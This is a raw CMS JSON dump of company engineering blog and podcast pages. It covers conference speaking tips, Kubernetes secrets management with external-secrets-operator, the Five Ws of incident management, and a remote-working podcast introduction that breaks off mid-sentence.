experience.",[37490,37491],{"start":398,"end":1951,"type":593},{"start":2223,"end":11954,"type":765},{"type":1151,"text":37493,"spans":37494},"WikiCFP: aggregate calls for papers (CfPs) for conferences that are looking for speakers. This is agreat way to discover new conferences that suit your interests and background.",[37495,37496],{"start":398,"end":1130,"type":593},{"start":398,"end":1130,"type":489,"data":37497},{"link_type":491,"url":37498,"target":493},"https:\u002F\u002Fwww.wikicfp.com\u002Fcfp\u002F",{"type":1151,"text":37500,"spans":37501},"Volunteer to teach: a great way to teach others and get experience speaking is to engage with volunteer organisations that are focusing on teaching people to code. Some examples are Colorintech, Code First Girls and Rails Girls. Taking a local approach to finding organisations to volunteer for is a great way to discover how you can help.",[37502,37503,37506,37509],{"start":398,"end":2769,"type":593},{"start":18514,"end":19847,"type":489,"data":37504},{"link_type":491,"url":37505,"target":493},"https:\u002F\u002Fwww.colorintech.org\u002F",{"start":3300,"end":3309,"type":489,"data":37507},{"link_type":491,"url":37508,"target":493},"https:\u002F\u002Fcodefirstgirls.com\u002Fabout-us\u002F",{"start":9294,"end":2833,"type":489,"data":37510},{"link_type":491,"url":37511,"target":493},"https:\u002F\u002Frailsgirls.com\u002F",{"type":1151,"text":37513,"spans":37514},"Friends and more experienced colleagues: the tech circle is small, so don't forget to also ask your friends and colleagues to tell you about conferences that they enjoyed. This will make it easier to find events that suit your preferences. Your more experienced colleagues can recommend events that are suited to newcomers as well as guide you when you are preparing.",[37515],{"start":398,"end":4219,"type":593},{"type":1151,"text":37517,"spans":37518},"Social media: the power of social media extends to finding exciting technical community events and initiatives. The TechDailyCFP newsletter collates updates from technical events around the world.",[37519,37520],{"start":398,"end":2707,"type":593},{"start":19148,"end":9287,"type":489,"data":37521},{"link_type":491,"url":37522,"target":493},"https:\u002F\u002Fmailchi.mp\u002Ff2e4ba861211\u002Ftechdailycfp","rich_text$83162622-d5b8-4719-baff-941f46491d9e",{"variation":437,"version":438,"items":37525,"primary":37526,"id":37568,"slice_type":468,"slice_label":5},[],{"body":37527},[37528,37531,37534,37538,37542,37546,37550,37554,37558,37562],{"type":746,"text":37529,"spans":37530},"How do we prepare for speaking on stage?",[],{"type":25,"text":37532,"spans":37533},"The key to a successful talk lies in the preparation. Our guests share some of their best tips for preparing:",[],{"type":1151,"text":37535,"spans":37536},"Rehearse, but don't memorise: in order to get your nerves under control and ensure that you have the right timings, it's important to rehearse your talk. Also, in order to keep a conversational, natural tone, avoid memorising your talk. There is an element of improvisation on stage, but it's important to know exactly what you're going to say and when you will say it. Try to aim for at least 2-3 full rehearsals.",[37537],{"start":398,"end":9704,"type":593},{"type":1151,"text":37539,"spans":37540},"Don't be afraid to do last minute changes: as you rehearse and try things out, you might get last minute ideas of changes that you want to make. Don't be afraid to implement these into your talk.",[37541],{"start":398,"end":1977,"type":593},{"type":1151,"text":37543,"spans":37544},"Tailor your talk to your audience: if you are presenting your talk at multiple events, make sure that you tailor your presentation according to the audience at that particular event. This will give you variation in your talk and create a more engaging experience for your listeners.",[37545],{"start":398,"end":9077,"type":593},{"type":1151,"text":37547,"spans":37548},"Start with the big picture: begin by sketching out an outline of your talk: what would you like to show, what code demos would you like to include, what interesting corner cases would you like to highlight. Once you have a clear idea of what you would like to cover, finalising your demos and slides becomes a lot more straight forward. Stay focused and on-mission, ensuring that you have a clear story line that will be engaging to the audience.",[37549],{"start":398,"end":5574,"type":593},{"type":1151,"text":37551,"spans":37552},"Don't underestimate the work: preparing talks is time consuming and don't underestimate how long it takes to put together a presentation which looks effortless. Start your preparations at least a month before the event to have time for rehearsals and polish your content.",[37553],{"start":398,"end":9704,"type":593},{"type":1151,"text":37555,"spans":37556},"Get in the right headspace: make sure to take time to gather your thoughts and feel good before you speak. Simple things can have a big impact. Make sure you are wearing comfortable clothing, shoes and do the things that usually make you feel confident whether that be listening to music, meditation, breathing exercises or anything that helps you feel your best.",[37557],{"start":398,"end":5574,"type":593},{"type":1151,"text":37559,"spans":37560},"Expect the unexpected: no matter how much you prepare beforehand, mistakes happen and code demos sometimes do not work. Go with the flow, keep your composure and continue with your presentation. The audience wants to see you succeed, so don't get disheartened if something goes wrong on stage. If you are including any demos, prepare back up recordings in case something goes wrong onsite like slow Internet connections.",[37561],{"start":398,"end":703,"type":593},{"type":25,"text":37563,"spans":37564},"Most importantly, be energetic, passionate and exciting. Remember that you are there to share what you know and the audience is there to support you! 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He has roughly 10 years experience in the tech industry. He comes from a non-conventional background, having studied Media Technology in University. He has worked in a variety of industries, including web agencies, startups and consulting. He is also a Linux Foundation trainer for Kubernetes. He joined Form3 a year ago and works on providing cloud agnostic Kubernetes experience for product teams.",[37685,37688,37690],{"start":398,"end":1951,"type":489,"data":37686},{"link_type":491,"url":37687,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmoritz-johner\u002F",{"start":9251,"end":1251,"type":489,"data":37689},{"link_type":491,"url":37422,"target":493},{"start":29391,"end":37691,"type":489,"data":37692},346,{"link_type":491,"url":37693,"target":493},"https:\u002F\u002Ftraining.linuxfoundation.org\u002F?s=kubernetes",{"type":25,"text":37695,"spans":37696},"Moritz's journey into open-source began in 2018 when he was working in consulting and had to build a Kubernetes platform that would work across AWS accounts. Most projects did not support assuming a role in another AWS account, so Moritz contributed this functionality to the various OSS projects he was using. Eventually, Moritz provided this same feature to kubernetes-external-secrets which was the de-facto secrets synching solution at the time. He then gradually became more involved in this project and helped take on the work of merging multiple secrets solutions together.",[37697],{"start":2053,"end":37698,"type":489,"data":37699},387,{"link_type":491,"url":37700,"target":493},"https:\u002F\u002Fgithub.com\u002Fexternal-secrets\u002Fkubernetes-external-secrets",{"type":25,"text":37702,"spans":37703},"Lucas Severo Alves is a Software Engineer at RedHat, focusing on open-source. He has a background in DevOps, SRE and system administration. His introduction to open-source was also on the kubernetes-external-secrets project that Moritz was working on. He was excited to focus on a single solution for managing secrets across platforms, which is something that he was focused on as part of his role.",[37704,37707,37710],{"start":398,"end":2769,"type":489,"data":37705},{"link_type":491,"url":37706,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Flucas-alves-knela\u002F",{"start":9211,"end":1250,"type":489,"data":37708},{"link_type":491,"url":37709,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fred-hat\u002F",{"start":9242,"end":3310,"type":489,"data":37711},{"link_type":491,"url":37700,"target":493},"rich_text$b8809bcd-a4ad-4c75-a62a-13cbfe451c58",{"variation":437,"version":438,"items":37714,"primary":37715,"id":37762,"slice_type":468,"slice_label":5},[],{"body":37716},[37717,37720,37724,37727,37730,37733,37736,37741,37744,37747,37750,37753,37756],{"type":746,"text":37718,"spans":37719},"Secrets management done right",[],{"type":25,"text":37721,"spans":37722},"Lucas explains that secrets management encompasses everything you do with secrets:",[37723],{"start":7460,"end":11705,"type":593},{"type":1151,"text":37725,"spans":37726},"how you rotate them",[],{"type":1151,"text":37728,"spans":37729},"how you give access to a new secret",[],{"type":1151,"text":37731,"spans":37732},"how you give access to a new team member",[],{"type":1151,"text":37734,"spans":37735},"how you respond to leaked secrets",[],{"type":25,"text":37737,"spans":37738},"The word secret itself in technology refers to credentials, passwords, keys, tokens, certificates. Anything that is used as a key to a lock is a secret, either by allowing people to do something or give access to a restricted resource. Everything that you around controlling and protecting the secret is secrets management.",[37739,37740],{"start":1355,"end":8472,"type":593},{"start":21277,"end":6416,"type":593},{"type":25,"text":37742,"spans":37743},"In the context of Kubernetes, secrets management is:",[],{"type":1151,"text":37745,"spans":37746},"how you give access to your secrets inside Kubernetes",[],{"type":1151,"text":37748,"spans":37749},"how you control access to secrets inside your Kubernetes cluster",[],{"type":1151,"text":37751,"spans":37752},"how you isolate access to the secret in the context of multi-tenant applications inside Kubernetes",[],{"type":25,"text":37754,"spans":37755},"Moritz explains that although it sounds like pretty simple problem to solve, secrets management is difficult. Secrets are distributed in many places, from developer machines, to CI\u002FCD pipelines and remote environments. Tokens can also have different expiration times and might be dependent on external entities for signing as well.",[],{"type":25,"text":37757,"spans":37758},"Secrets management is a huge space and the project Moritz and Lucas work on, external-secrets-operator is simply a tool in this space.",[37759],{"start":855,"end":4073,"type":489,"data":37760},{"link_type":491,"url":37761,"target":493},"https:\u002F\u002Fgithub.com\u002Fexternal-secrets\u002Fexternal-secrets","rich_text$98b5544a-731f-4512-b80f-b1ca283d132e",{"variation":437,"version":438,"items":37764,"primary":37765,"id":37784,"slice_type":468,"slice_label":5},[],{"body":37766},[37767,37770,37775,37778,37781],{"type":746,"text":37768,"spans":37769},"What external-secrets-operator can do for you",[],{"type":25,"text":37771,"spans":37772},"Moritz explains to us that external-secrets-operator is built around the idea of pulling secrets from some secure vault\u002Fstorage into the cluster. This allows us to pull secrets into the cluster and then consume them with the standard Kubernetes mechanisms such as: mounting a file, reading environment variables or as an ingress resource.",[37773],{"start":3485,"end":1251,"type":489,"data":37774},{"link_type":491,"url":37761,"target":493},{"type":25,"text":37776,"spans":37777},"Companies structure their tenants and resource access very differently. Some organisations share one vault across engineering teams, others have one instance per team or multiple instances per team. There are a lot of different possibilities in how you can structure secrets management. External secrets operator was designed with this in mind and helps you map your requirements into Kubernetes. The only prerequisite is that secrets must be stored in a secure place.",[],{"type":25,"text":37779,"spans":37780},"Lucas adds that its important to keep secrets synchronised with the vault, which is the single source of truth for these secrets. External secrets operator does this recurrently, allowing you to change secrets in one place. This is extremely useful in the case of leaks, where you might have to rotate secrets very quickly. There are also two highly anticipated features in Beta right now: push secrets and secrets generation.",[],{"type":25,"text":37782,"spans":37783},"Moritz explains that external secrets operator supports different cluster topologies. A common solution is to have a central cluster which manages other workload clusters. These clusters often require secrets to be injected to them. The project includes providers for Kubernetes, all the 3 clouds and also HashiCorp Vault. By considering Kubernetes itself a provider, external secrets operator is able to get secrets from one cluster and send it forward to others.",[],"rich_text$6b317bd4-ebe2-424f-b015-04f8b0de5c09",{"variation":437,"version":438,"items":37786,"primary":37787,"id":37816,"slice_type":468,"slice_label":5},[],{"body":37788},[37789,37792,37795,37798,37804,37807,37810],{"type":746,"text":37790,"spans":37791},"Getting started with external-secrets-operator",[],{"type":25,"text":37793,"spans":37794},"Lucas breaks down how to get started with external secrets operator into a few easy steps:",[],{"type":3373,"text":37796,"spans":37797},"You decide on a secure vault that you trust with your secrets. All secrets that you use in the project consider this vault the single source of truth.",[],{"type":3373,"text":37799,"spans":37800},"An application that needs this secret will need it to be available in its Kubernetes cluster. You install external-secrets-operator with Helm.",[37801],{"start":6835,"end":11737,"type":489,"data":37802},{"link_type":491,"url":37803,"target":493},"https:\u002F\u002Fexternal-secrets.io\u002Fv0.8.1\u002Fintroduction\u002Fgetting-started\u002F",{"type":3373,"text":37805,"spans":37806},"You create a custom resource with YAML for the external secrets provider, including how to authenticate to it.",[],{"type":3373,"text":37808,"spans":37809},"You create another custom resource for the operator itself, including which secret to get, how it will be named and where to put it.",[],{"type":25,"text":37811,"spans":37812},"After this, external secrets operator will take care of fetching and updating the secret it is in charge of and you don't need to worry about these aspects any longer. The only problem that you must solve yourself is where to keep the initial secret that unlocks the vault that you need to pass to the operator. Moritz recommends to use service accounts with Workload Identity, which is available in the major cloud providers, and use that token to authenticate the secrets manager. There are steps on the project's official documentation on the commands and configuration you will need to run.",[37813],{"start":29798,"end":37814,"type":489,"data":37815},538,{"link_type":491,"url":37803,"target":493},"rich_text$9ea5fa66-a224-4c53-8cd2-d2558260fd2d",{"variation":437,"version":438,"items":37818,"primary":37819,"id":37839,"slice_type":468,"slice_label":5},[],{"body":37820},[37821,37824,37830,37836],{"type":746,"text":37822,"spans":37823},"Alternatives to external secrets operator",[],{"type":25,"text":37825,"spans":37826},"The oldest project, dating back to 2017, is sealed-secrets. This project was the only solution for a long time. It allows you to encrypt secrets, store them in a Git repository and then decrypt the secrets with a controller inside the cluster. The disadvantage of this tool is that Git repositories can be leaked. Depending on the encryption strength, these files be decrypted. However, you still need to manage the encryption and decryption keys, which are not stored centrally, as you cannot commit them to the repository itself.",[37827],{"start":2674,"end":9203,"type":489,"data":37828},{"link_type":491,"url":37829,"target":493},"https:\u002F\u002Fgithub.com\u002Fbitnami-labs\u002Fsealed-secrets",{"type":25,"text":37831,"spans":37832},"Another project is the secrets-store-csi-driver. This project allows you to mount the secret directly inside a pod, without having Kubernetes native secrets.",[37833],{"start":4023,"end":9251,"type":489,"data":37834},{"link_type":491,"url":37835,"target":493},"https:\u002F\u002Fgithub.com\u002Fkubernetes-sigs\u002Fsecrets-store-csi-driver",{"type":25,"text":37837,"spans":37838},"The main choice you will have to make is what requirements you have when it comes to compliance and company policy. Moritz and Lucas get a lot of questions about which tool to use, but there is no best approach, as each tool will require some tradeoffs. External secrets operator now has over 200 contributors and has endeavoured to bring together multiple projects, making it easy to support new providers.",[],"rich_text$bbc9c207-9c7c-4728-81fb-0b10bdbfe10e",{"variation":437,"version":438,"items":37841,"primary":37842,"id":37862,"slice_type":468,"slice_label":5},[],{"body":37843},[37844,37847,37850,37853],{"type":746,"text":37845,"spans":37846},"The life of an open-source maintainer",[],{"type":25,"text":37848,"spans":37849},"Moritz explains that the most difficult aspect of being an open-source maintainer is keeping up with the stream of messages and requests on Slack and GitHub. This has taught him to manage his time and prioritise tasks better, dedicating strict time windows to the open-source project. He is also an introvert, so he has grown from a social skills perspective too.",[],{"type":25,"text":37851,"spans":37852},"Lucas shares that being a maintainer can mean something different to different people. For example, external secrets operator has a maintainer that only maintains the IBM part of the project and he focuses on testing and client library maintenance. Other maintainers focus on PR review and rotate hosting the community meeting, as well as bringing visibility to the project. Time commitment varies throughout the year, as life sometimes gets in the way, but it's important to coordinate with other maintainers. Both Lucas and Moritz agree that dedicating their time to open-source is very rewarding and worth the effort.",[],{"type":25,"text":37854,"spans":37855},"Moritz will be speaking about external secrets operator on the KubeCon EU 2023 stage on April 19th 2023. OpenCollective has made it possible for the project to get funding, making it possible for the maintainers to meet in Amsterdam. The maintainers of external secrets operator also have a dedicated booth at KubeCon EU. Don't hesitate to come and say hello at booth K23 if you are attending KubeCon EU! 👋",[37856,37859],{"start":629,"end":5321,"type":489,"data":37857},{"link_type":491,"url":37858,"target":493},"https:\u002F\u002Fsched.co\u002F1HyYQ",{"start":3092,"end":4178,"type":489,"data":37860},{"link_type":491,"url":37861,"target":493},"https:\u002F\u002Fopencollective.com\u002F","rich_text$0d56347b-f5fe-4198-8576-43d423cdaf42",{"id":37864,"uid":37865,"type":25949,"data":37866},"alz0pREAACgAUWY_","five-ws-incident-mngmnt",{"title":37867,"excerpt":37868,"card_image":37869,"published_date":728,"reading_time":4603,"tag":25960,"dek":37868,"featured_image":37874,"about_form3":37882,"client_about_heading":5,"client_about_body":37883,"author_name":30308,"author_title":30309,"author_photo":37884,"author_bio":37887,"author_linkedin":37894,"slices":37896,"meta_title":37867,"meta_description":37868},"Applying the Five Ws to Incident Management","In this blogpost, David introduces us to the five W's of information gathering - Who? What? When? Where? Why? Answering the five Ws helps Incident Managers get a deeper understanding of the cause and impact of incidents, not just their remedy, leading to more robust solutions. Fixing the cause of an outage is only just the beginning and the five Ws pave the way for team collaboration during investigations.",{"dimensions":37870,"alt":37867,"copyright":5,"url":37871,"id":37872,"edit":37873},{"width":412,"height":412},"\u002F_prismic-media\u002F6c7e7c7d74b127b3-ClGnM8aVm2VvTVN4_five-ws-incident-mngmnt.png","ClGnM8aVm2VvTVN4",{"x":398,"y":398,"zoom":399,"background":400},{"dimensions":37875,"alt":37878,"copyright":5,"url":37879,"id":37880,"edit":37881},{"width":37876,"height":37877},2207,1515,"The five Ws of information gathering","\u002F_prismic-media\u002F5b460a1effe389dc-b7SVx0zAuUpE-oZ6_7b13f0c1-3236-4882-9471-0197cf7.png","b7SVx0zAuUpE-oZ6",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":37885,"alt":30308,"copyright":5,"url":30312,"id":30313,"edit":37886},{"width":5080,"height":26955},{"x":398,"y":398,"zoom":399,"background":650},[37888,37890],{"type":25,"text":30317,"spans":37889},[],{"type":25,"text":30320,"spans":37891},[37892],{"start":7635,"end":3041,"type":489,"data":37893},{"link_type":491,"url":30324},{"link_type":491,"key":37895,"url":30324,"target":493},"dbe953b2-5bf9-4f69-a745-0a3c805448ad",[37897,37914,37930,37945,38049,38080],{"variation":437,"version":438,"items":37898,"primary":37899,"id":37913,"slice_type":468,"slice_label":5},[],{"body":37900},[37901,37904,37910],{"type":746,"text":37902,"spans":37903},"How do we fix it?",[],{"type":25,"text":37905,"spans":37906},"If you're new to the ideas of Incident Management, you can read David's introductory blog post giving a quick intro to the day-to-day life of an Incident Manager.",[37907],{"start":4178,"end":9289,"type":489,"data":37908},{"id":32207,"type":15847,"tags":37909,"lang":5,"slug":15849,"first_publication_date":5,"last_publication_date":5,"link_type":542,"isBroken":15850},[],{"type":25,"text":37911,"spans":37912},"One of the first things that comes to mind when an incident occurs is one question. Ok, we have a problem. How do we fix it? A perfectly valid and logical response, but not always the one that meets our goals in the most effective way as Incident Managers. Before we can even start to think about how we fix an issue we first have a series of rapid fire questions we need to process first.",[],"rich_text$b3965510-13ff-43b7-bf70-87268ae6d5a0",{"variation":437,"version":438,"items":37915,"primary":37916,"id":37929,"slice_type":468,"slice_label":5},[],{"body":37917},[37918,37921,37926],{"type":746,"text":37919,"spans":37920},"Information is key!",[],{"type":25,"text":37922,"spans":37923},"Who? What? When? Where? Why? ",[37924,37925],{"start":398,"end":9704,"type":765},{"start":398,"end":9704,"type":593},{"type":25,"text":37927,"spans":37928},"Those are the questions we really need to answer before we can move on to how.",[],"rich_text$6f9a9dd6-4906-4708-8f44-15a26d801766",{"variation":437,"version":527,"items":37931,"primary":37932,"id":37944,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":37933,"body":37934,"cta_label":5,"cta_link":37935,"aside_type":533,"aside_image":37936,"aside_video":37939,"aside_video_poster":37940,"aside_video_reduced_motion":37941,"aside_video_url":5,"aside_embed":37942,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":37943,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":37937,"alt":37878,"copyright":5,"url":37879,"id":37880,"edit":37938},{"width":37876,"height":37877},{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$a3e849a4-2342-427e-ab5e-c429c25f413e",{"variation":437,"version":438,"items":37946,"primary":37947,"id":38048,"slice_type":468,"slice_label":5},[],{"body":37948},[37949,37952,37956,37960,37964,37968,37971,37974,37978,37982,37986,37990,37993,37996,38000,38004,38008,38011,38014,38018,38022,38025,38028,38032,38036,38040,38044],{"type":988,"text":37950,"spans":37951},"Who?",[],{"type":1151,"text":37953,"spans":37954},"Who is impacted?",[37955],{"start":398,"end":418,"type":593},{"type":1151,"text":37957,"spans":37958},"Who do we need to call?",[37959],{"start":398,"end":418,"type":593},{"type":1151,"text":37961,"spans":37962},"Who knows more about this?",[37963],{"start":398,"end":418,"type":593},{"type":1151,"text":37965,"spans":37966},"Who are our end users?",[37967],{"start":398,"end":418,"type":593},{"type":25,"text":37969,"spans":37970},"If we have no idea who is impacted by this issue, or what kind of expertise we are likely to need to fix it. How are we going to know the answer to our overall question of how do we fix it?",[],{"type":988,"text":37972,"spans":37973},"What?",[],{"type":1151,"text":37975,"spans":37976},"What is not working as intended?",[37977],{"start":398,"end":4603,"type":593},{"type":1151,"text":37979,"spans":37980},"What has changed recently?",[37981],{"start":398,"end":4603,"type":593},{"type":1151,"text":37983,"spans":37984},"What is the impact on our clients?",[37985],{"start":398,"end":4603,"type":593},{"type":1151,"text":37987,"spans":37988},"What is the impact on end-users?",[37989],{"start":398,"end":4603,"type":593},{"type":25,"text":37991,"spans":37992},"If we have no idea what is not working as we expect it to, if we have no idea what the impact is. How can we effectively communicate with our customers and how can we start working on a resolution?",[],{"type":988,"text":37994,"spans":37995},"When?",[],{"type":1151,"text":37997,"spans":37998},"When did this all start?",[37999],{"start":398,"end":4603,"type":593},{"type":1151,"text":38001,"spans":38002},"When will the impact get worse?",[38003],{"start":398,"end":4603,"type":593},{"type":1151,"text":38005,"spans":38006},"When do we need fresh eyes?",[38007],{"start":398,"end":4603,"type":593},{"type":25,"text":38009,"spans":38010},"If we can't see the point at which an issue started, it becomes very hard to identify a cause and a resolution. Some issue, such as say a high CPU or low memory warning can be just that, a warning. So, we need to know when is that warning going to become a problem. We need to be able to articulate that to our customers if needed. Likewise, we as a company have a duty of care. We need to acknowledge an engineer may be at the end of an on-call period and a handover may be more beneficial.",[],{"type":988,"text":38012,"spans":38013},"Where?",[],{"type":1151,"text":38015,"spans":38016},"Where is the stopping point?",[38017],{"start":398,"end":643,"type":593},{"type":1151,"text":38019,"spans":38020},"Where, geographically are our blockers?",[38021],{"start":398,"end":643,"type":593},{"type":25,"text":38023,"spans":38024},"In infrastructure a blocker can be a high sign of where we can start looking for a fix. If we look at the flow of information we can start at the start, health check, but how long will that take? If we know where our stopping point is, our blocker. We can \"skip\" five steps and focus in on where we see in the logs that we need to check first.",[],{"type":988,"text":38026,"spans":38027},"Why?",[],{"type":1151,"text":38029,"spans":38030},"Why does the network traffic route that way?",[38031],{"start":398,"end":418,"type":593},{"type":1151,"text":38033,"spans":38034},"Why is this customer affected and this one is not?",[38035],{"start":398,"end":418,"type":593},{"type":1151,"text":38037,"spans":38038},"Why did this start at this time?",[38039],{"start":398,"end":418,"type":593},{"type":25,"text":38041,"spans":38042},"Why can be one of the most effective initial tools in our arsenal. Perhaps the key question Incident Managers can at times forget, why can be seen as a Problem Management question. Why did it break? Well, that's in root cause analysis. Why can point an investigation in a direction very quickly because it can identify something out of the normal, something unusual and unexpected.",[38043],{"start":398,"end":418,"type":593},{"type":25,"text":38045,"spans":38046},"Why can lead us to the answers of so many questions and open our minds to find more questions that could have been overlooked by a rush. The Incident Management process should never be a rush, it should be a smooth process of decisive but deliberate choices. All our questions lead us to more questions, often more than we do answers. We must work together to choose which of these questions need answers, to find our priorities.",[38047],{"start":398,"end":418,"type":593},"rich_text$dad34f06-5609-4327-abca-61fc08ef5032",{"variation":437,"version":438,"items":38050,"primary":38051,"id":38079,"slice_type":468,"slice_label":5},[],{"body":38052},[38053,38056,38067,38070,38073,38076],{"type":746,"text":38054,"spans":38055},"Answering the Five Ws",[],{"type":25,"text":38057,"spans":38058},"One of the huge benefits at Form3 is the tooling we have, but more than that, ones Incident Management has. It can be easy to think a technical tool for monitoring for example should be used by Development to provide information to Operations. Good dashboards and metrics that Incident Management have access to can answer most of these questions without an Incident Manager ever needing to ask an engineer. Our Incident Managers frequently rely on logz.io and Grafana as their sources of information. ",[38059,38062],{"start":488,"end":25743,"type":489,"data":38060},{"link_type":491,"url":38061,"target":493},"https:\u002F\u002Flogz.io\u002Fabout-us\u002F",{"start":38063,"end":38064,"type":489,"data":38065},461,468,{"link_type":491,"url":38066,"target":493},"https:\u002F\u002Fgrafana.com\u002F",{"type":1151,"text":38068,"spans":38069},"Collaboration.",[],{"type":1151,"text":38071,"spans":38072},"Communication.",[],{"type":1151,"text":38074,"spans":38075},"Consideration.",[],{"type":25,"text":38077,"spans":38078},"When we work with Development in a DevOps environment, be that DevOps or SecDevOps, we give Incident Management more tools and more options so our engineers can focus on the fix, while we focus on the impact and the five Ws.",[],"rich_text$585c9b23-116b-4967-b5fd-ac7a763ed7eb",{"variation":437,"version":438,"items":38081,"primary":38082,"id":38094,"slice_type":468,"slice_label":5},[],{"body":38083},[38084,38086,38091],{"type":746,"text":28602,"spans":38085},[],{"type":25,"text":38087,"spans":38088},"The five Ws can be the best place to start in an incident scenario but not all at once. We don't need answers to why, what, when and who to reach how, but it means we know the purpose of being there and as our decisions are made, they build the foundation of the best possible solution, the best way to restore service. I've seen so many people seek how with a need for instant gratification and sometimes it works, often however it creates removes the confidence of technical teams who must say we don't know.",[38089,38090],{"start":5586,"end":3192,"type":765},{"start":5586,"end":3192,"type":593},{"type":25,"text":38092,"spans":38093},"I say, we don't know yet, but we have questions and that's the perfect start.",[],"rich_text$544f7e3e-e10e-4559-8cbf-7c592396cef3",{"id":38096,"uid":38097,"type":25949,"data":38098},"alz08BEAACoAUWcH","podcast-remote-work",{"title":38099,"excerpt":38100,"card_image":38101,"published_date":38106,"reading_time":4603,"tag":25960,"dek":38100,"featured_image":38107,"about_form3":38112,"client_about_heading":5,"client_about_body":38113,"author_name":18970,"author_title":18971,"author_photo":38114,"author_bio":38117,"author_linkedin":38120,"slices":38122,"meta_title":38099,"meta_description":38100},".tech Podcast - Flexible remote working at Form3","Jordan Van Dyk is Form3's first Canada based engineer. He joins us to share why he chose to work at Form3, what his interview experience was and what a typical day looks like for him on the Tooling team. Then, he shares how his team works and makes recommendations for how highly distributed teams can successfully work together.",{"dimensions":38102,"alt":38099,"copyright":5,"url":38103,"id":38104,"edit":38105},{"width":412,"height":412},"\u002F_prismic-media\u002F8c9fdb70bbf28217-hVWZiuQ_D1uafs0y_podcast-remote-work.png","hVWZiuQ_D1uafs0y",{"x":398,"y":398,"zoom":399,"background":400},"2022-11-17",{"dimensions":38108,"alt":5,"copyright":5,"url":38109,"id":38110,"edit":38111},{"width":501,"height":33951},"\u002F_prismic-media\u002Ff350bc1bcb62d791-jdYA-yUv3r_PaZPu_3390881d-1cd2-4ae0-abe6-527c461.png","jdYA-yUv3r_PaZPu",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":38115,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":38116},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[38118],{"type":25,"text":25971,"spans":38119},[],{"link_type":491,"key":38121,"url":25975,"target":493},"82a97f26-6ab7-43a2-9c1f-3200c2fdc1cf",[38123,38143,38162,38208,38242,38280,38300,38329],{"variation":437,"version":527,"items":38124,"primary":38125,"id":38142,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":38126,"body":38130,"cta_label":10704,"cta_link":38133,"aside_type":5,"aside_image":38136,"aside_video":38137,"aside_video_poster":38138,"aside_video_reduced_motion":38139,"aside_video_url":5,"aside_embed":38140,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":38141,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[38127],{"type":746,"text":38128,"spans":38129},"Ep 37 .tech - Flexible remote working at Form3",[],[38131],{"type":25,"text":10702,"spans":38132},[],{"link_type":491,"key":38134,"url":38135},"92d6136a-9db1-4b72-af99-ef93387a7b5e","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-37-tech-flexible-remote-working-at-form3-eJEfXeHo",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$3bd0211c-6334-4b97-ba68-957fff3c3485",{"variation":437,"version":438,"items":38144,"primary":38145,"id":38161,"slice_type":468,"slice_label":5},[],{"body":38146},[38147],{"type":25,"text":38148,"spans":38149},"Jordan Van Dyk is a Senior Software Developer on the Tooling Team at Form3. Two of the major projects he's working on are k8s-promoter and a variety of GitHub actions tooling. Based in Canada, Jordan has been at Form3 since November 2021.",[38150,38153,38155,38158],{"start":398,"end":2987,"type":489,"data":38151},{"link_type":491,"url":38152,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fjordanvandyk\u002F",{"start":3397,"end":2223,"type":489,"data":38154},{"link_type":491,"url":37422,"target":493},{"start":5102,"end":7408,"type":489,"data":38156},{"link_type":491,"url":38157,"target":493},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Fk8s-promoter",{"start":31756,"end":9156,"type":489,"data":38159},{"link_type":491,"url":38160,"target":493},"https:\u002F\u002Fdocs.github.com\u002Fen\u002Factions","rich_text$4dbffc7f-33e6-4549-a252-1ff1668a99b1",{"variation":437,"version":438,"items":38163,"primary":38164,"id":38207,"slice_type":468,"slice_label":5},[],{"body":38165},[38166,38169,38175,38178,38181,38187,38193,38198,38204],{"type":746,"text":38167,"spans":38168},"Choosing Form3",[],{"type":25,"text":38170,"spans":38171},"Jordan was our very first Canada based employee, with more colleagues since. He first found out about Form3 on LinkedIn Jobs. He was drawn to the opportunity for two main reasons:",[38172],{"start":3971,"end":4586,"type":489,"data":38173},{"link_type":491,"url":38174,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fjobs\u002Fsearch\u002F?keywords=form3&refresh=true",{"type":1151,"text":38176,"spans":38177},"Getting into FinTech was something appealing to Jordan",[],{"type":1151,"text":38179,"spans":38180},"The job advertisement sounded really interesting Ready for a new challenge, Jordan decided to apply!",[],{"type":25,"text":38182,"spans":38183},"During his interview process, Jordan was impressed with the recruiter interactions, who gave him a completely different experience from companies he was applying with at the time. Then, Jordan learned about the tech stack which included:",[38184],{"start":10671,"end":2832,"type":489,"data":38185},{"link_type":491,"url":38186,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fengineering\u002Fwho-we-are\u002Ftech-stack",{"type":1151,"text":38188,"spans":38189},"Terraform",[38190],{"start":398,"end":1355,"type":489,"data":38191},{"link_type":491,"url":38192,"target":493},"https:\u002F\u002Fdeveloper.hashicorp.com\u002Fterraform\u002Ftutorials",{"type":1151,"text":27625,"spans":38194},[38195],{"start":398,"end":905,"type":489,"data":38196},{"link_type":491,"url":38197,"target":493},"https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Ftutorials\u002Fkubernetes-basics\u002F",{"type":1151,"text":38199,"spans":38200},"Go",[38201],{"start":398,"end":506,"type":489,"data":38202},{"link_type":491,"url":38203,"target":493},"https:\u002F\u002Fgo.dev\u002Ftour\u002Fwelcome\u002F1",{"type":25,"text":38205,"spans":38206},"After these initial impressions, he was even more excited and convinced that he wanted to continue with the 